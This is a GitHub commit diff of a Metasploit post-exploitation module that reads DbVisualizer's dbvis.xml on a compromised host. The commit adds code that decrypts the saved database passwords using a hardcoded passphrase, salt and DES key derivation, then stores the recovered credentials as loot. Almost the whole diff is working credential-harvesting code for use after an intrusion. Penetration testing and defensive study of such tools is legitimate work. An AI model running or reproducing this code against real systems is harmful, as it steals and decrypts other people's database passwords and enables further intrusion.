Skip to content

Commit 1ab4939

Browse files
committed
Decrypt encrypted passwords
1 parent f81c08e commit 1ab4939

File tree

1 file changed

+85
-50
lines changed

1 file changed

+85
-50
lines changed

modules/post/multi/gather/dbvis_enum.rb

Lines changed: 85 additions & 50 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,8 @@
55

66
require 'msf/core'
77
require 'msf/core/auxiliary/report'
8+
require 'openssl'
9+
require 'digest/md5'
810

911
class Metasploit3 < Msf::Post
1012

@@ -17,7 +19,7 @@ def initialize(info={})
1719
'Name' => 'Multi Gather DbVisualizer Connections Settings',
1820
'Description' => %q{
1921
DbVisualizer stores the user database configuration in dbvis.xml.
20-
This module retrieves the connections settings from this file.
22+
This module retrieves the connections settings from this file and decrypts the encrypted passwords.
2123
},
2224
'License' => MSF_LICENSE,
2325
'Author' => [ 'David Bloom' ], # Twitter: @philophobia78
@@ -28,14 +30,13 @@ def initialize(info={})
2830

2931
def run
3032

31-
3233
oldversion = false
3334

3435
case session.platform
3536
when /linux/
36-
user = session.shell_command("whoami").chomp
37+
user = session.shell_command('whoami').chomp
3738
print_status("Current user is #{user}")
38-
if (user =~ /root/)
39+
if user =~ /root/
3940
user_base = "/root/"
4041
else
4142
user_base = "/home/#{user}/"
@@ -50,11 +51,10 @@ def run
5051
dbvis_file = user_profile + "\\.dbvis\\config70\\dbvis.xml"
5152
end
5253

53-
5454
unless file?(dbvis_file)
5555
# File not found, we next try with the old config path
5656
print_status("File not found: #{dbvis_file}")
57-
print_status("This could be an older version of dbvis, trying old path")
57+
print_status('This could be an older version of dbvis, trying old path')
5858
case session.platform
5959
when /linux/
6060
dbvis_file = "#{user_base}.dbvis/config/dbvis.xml"
@@ -68,7 +68,6 @@ def run
6868
oldversion = true
6969
end
7070

71-
7271
print_status("Reading: #{dbvis_file}")
7372
print_line()
7473
raw_xml = ""
@@ -89,20 +88,14 @@ def run
8988
end
9089

9190
if db_table.rows.empty?
92-
print_status("No database settings found")
91+
print_status('No database settings found')
9392
else
94-
print_line("\n")
93+
print_line
9594
print_line(db_table.to_s)
96-
print_good("Try to query listed databases with dbviscmd.sh (or .bat) -connection <alias> -sql <statements> and have fun !")
95+
print_good('Try to query listed databases with dbviscmd.sh (or .bat) -connection <alias> -sql <statements> and have fun!')
9796
print_line()
98-
# store found databases
99-
p = store_loot(
100-
"dbvis.databases",
101-
"text/csv",
102-
session,
103-
db_table.to_csv,
104-
"dbvis_databases.txt",
105-
"dbvis databases")
97+
# Store found databases in loot
98+
p = store_loot('dbvis.databases', 'text/csv', session, db_table.to_csv, 'dbvis_databases.txt', 'dbvis databases')
10699
print_good("Databases settings stored in: #{p.to_s}")
107100
end
108101

@@ -111,12 +104,11 @@ def run
111104
print_good "dbvis.xml saved to #{p.to_s}"
112105
end
113106

114-
115107
# New config file parse function
116108
def parse_new_config_file(raw_xml)
117109

118110
db_table = Rex::Ui::Text::Table.new(
119-
'Header' => "Dbvis Databases",
111+
'Header' => "DbVisualizer Databases",
120112
'Indent' => 2,
121113
'Columns' =>
122114
[
@@ -127,17 +119,18 @@ def parse_new_config_file(raw_xml)
127119
"Database",
128120
"Namespace",
129121
"Userid",
122+
"Password"
130123
])
131124

132125
dbs = []
133126
db = {}
134127
dbfound = false
135-
versionFound = false
128+
version_found = false
136129
# fetch config file
137130
raw_xml.each_line do |line|
138131

139-
if versionFound == false
140-
vesrionFound = find_version(line)
132+
if version_found == false
133+
version_found = find_version(line)
141134
end
142135

143136
if line =~ /<Database id=/
@@ -157,37 +150,43 @@ def parse_new_config_file(raw_xml)
157150

158151
if dbfound == true
159152
# get the alias
160-
if (line =~ /<Alias>([\S+\s+]+)<\/Alias>/i)
153+
if line =~ /<Alias>([\S+\s+]+)<\/Alias>/i
161154
db[:Alias] = $1
162155
end
163156

164157
# get the type
165-
if (line =~ /<Type>([\S+\s+]+)<\/Type>/i)
158+
if line =~ /<Type>([\S+\s+]+)<\/Type>/i
166159
db[:Type] = $1
167160
end
168161

169162
# get the user
170-
if (line =~ /<Userid>([\S+\s+]+)<\/Userid>/i)
163+
if line =~ /<Userid>([\S+\s+]+)<\/Userid>/i
171164
db[:Userid] = $1
172165
end
173166

167+
# get user password
168+
if line =~ /<Password>([\S+\s+]+)<\/Password>/i
169+
enc_password = $1
170+
db[:Password] = decrypt_password(enc_password)
171+
end
172+
174173
# get the server
175-
if (line =~ /<UrlVariable UrlVariableName="Server">([\S+\s+]+)<\/UrlVariable>/i)
174+
if line =~ /<UrlVariable UrlVariableName="Server">([\S+\s+]+)<\/UrlVariable>/i
176175
db[:Server] = $1
177176
end
178177

179178
# get the port
180-
if (line =~ /<UrlVariable UrlVariableName="Port">([\S+]+)<\/UrlVariable>/i)
179+
if line =~ /<UrlVariable UrlVariableName="Port">([\S+\s+]+)<\/UrlVariable>/i
181180
db[:Port] = $1
182181
end
183182

184183
# get the database
185-
if (line =~ /<UrlVariable UrlVariableName="Database">([\S+\s+]+)<\/UrlVariable>/i)
184+
if line =~ /<UrlVariable UrlVariableName="Database">([\S+\s+]+)<\/UrlVariable>/i
186185
db[:Database] = $1
187186
end
188187

189188
# get the Namespace
190-
if (line =~ /<UrlVariable UrlVariableName="Namespace">([\S+\s+]+)<\/UrlVariable>/i)
189+
if line =~ /<UrlVariable UrlVariableName="Namespace">([\S+\s+]+)<\/UrlVariable>/i
191190
db[:Namespace] = $1
192191
end
193192
end
@@ -196,40 +195,40 @@ def parse_new_config_file(raw_xml)
196195
# Fill the tab and report eligible servers
197196
dbs.each do |db|
198197
if ::Rex::Socket.is_ipv4?(db[:Server].to_s)
199-
print_good("Reporting #{db[:Server]} ")
198+
print_good("Reporting #{db[:Server]}")
200199
report_host(:host => db[:Server]);
201200
end
202201

203-
db_table << [ db[:Alias] , db[:Type] , db[:Server], db[:Port], db[:Database], db[:Namespace], db[:Userid]]
202+
db_table << [ db[:Alias], db[:Type], db[:Server], db[:Port], db[:Database], db[:Namespace], db[:Userid], db[:Password]]
204203
end
205204
return db_table
206205
end
207206

208-
209207
# New config file parse function
210208
def parse_old_config_file(raw_xml)
211209

212210
db_table = Rex::Ui::Text::Table.new(
213-
'Header' => "Dbvis Databases",
211+
'Header' => 'DbVisualizer Databases',
214212
'Indent' => 2,
215213
'Columns' =>
216214
[
217-
"Alias",
218-
"Type",
219-
"Url",
220-
"Userid",
215+
'Alias',
216+
'Type',
217+
'URL',
218+
'UserID',
219+
'Password'
221220
])
222221

223222
dbs = []
224223
db = {}
225224
dbfound = false
226-
versionFound = false
225+
version_found = false
227226

228227
# fetch config file
229228
raw_xml.each_line do |line|
230229

231-
if versionFound == false
232-
vesrionFound = find_version(line)
230+
if version_found == false
231+
vesrion_found = find_version(line)
233232
end
234233

235234
if line =~ /<Database id=/
@@ -243,24 +242,31 @@ def parse_old_config_file(raw_xml)
243242

244243
if dbfound == true
245244
# get the alias
246-
if (line =~ /<Alias>([\S+\s+]+)<\/Alias>/i)
245+
if line =~ /<Alias>([\S+\s+]+)<\/Alias>/i
247246
db[:Alias] = $1
248247
end
249248

250249
# get the type
251-
if (line =~ /<Type>([\S+\s+]+)<\/Type>/i)
250+
if line =~ /<Type>([\S+\s+]+)<\/Type>/i
252251
db[:Type] = $1
253252
end
254253

255254
# get the user
256-
if (line =~ /<Userid>([\S+\s+]+)<\/Userid>/i)
255+
if line =~ /<Userid>([\S+\s+]+)<\/Userid>/i
257256
db[:Userid] = $1
258257
end
259258

260-
# get the user
261-
if (line =~ /<Url>([\S+\s+]+)<\/Url>/i)
259+
#get the user password
260+
if line =~ /<Password>([\S+\s+]+)<\/Password>/i
261+
enc_password = $1
262+
db[:Password] = decrypt_password(enc_password)
263+
end
264+
265+
# get the server URL
266+
if line =~ /<Url>(\S+)<\/Url>/i
262267
db[:Url] = $1
263268
end
269+
264270
end
265271
end
266272

@@ -277,14 +283,43 @@ def parse_old_config_file(raw_xml)
277283
return db_table
278284
end
279285

280-
281286
def find_version(tag)
282287
found = false
283-
if (tag =~ /<Version>([\S+\s+]+)<\/Version>/i)
284-
print_good("DbVisualizer version : #{$1}")
288+
if tag =~ /<Version>([\S+\s+]+)<\/Version>/i
285289
found = true
290+
print_good("DbVisualizer version: #{$1}")
291+
end
292+
found
293+
end
294+
295+
def decrypt_password(enc_password)
296+
enc_password = Rex::Text.decode_base64(enc_password)
297+
dk, iv = get_derived_key
298+
des = OpenSSL::Cipher.new('DES-CBC')
299+
des.key = dk
300+
des.iv = iv
301+
302+
des.update(enc_password)
303+
end
304+
305+
def get_derived_key
306+
key = passphrase + salt
307+
iteration_count.times do
308+
key = Digest::MD5.digest(key)
286309
end
287-
return found
310+
return key[0,8], key[8,8]
311+
end
312+
313+
def salt
314+
[-114,18,57,-100,7,114,111,90].pack('C*')
315+
end
316+
317+
def passphrase
318+
'qinda'
319+
end
320+
321+
def iteration_count
322+
10
288323
end
289324

290325
end

0 commit comments

Comments
 (0)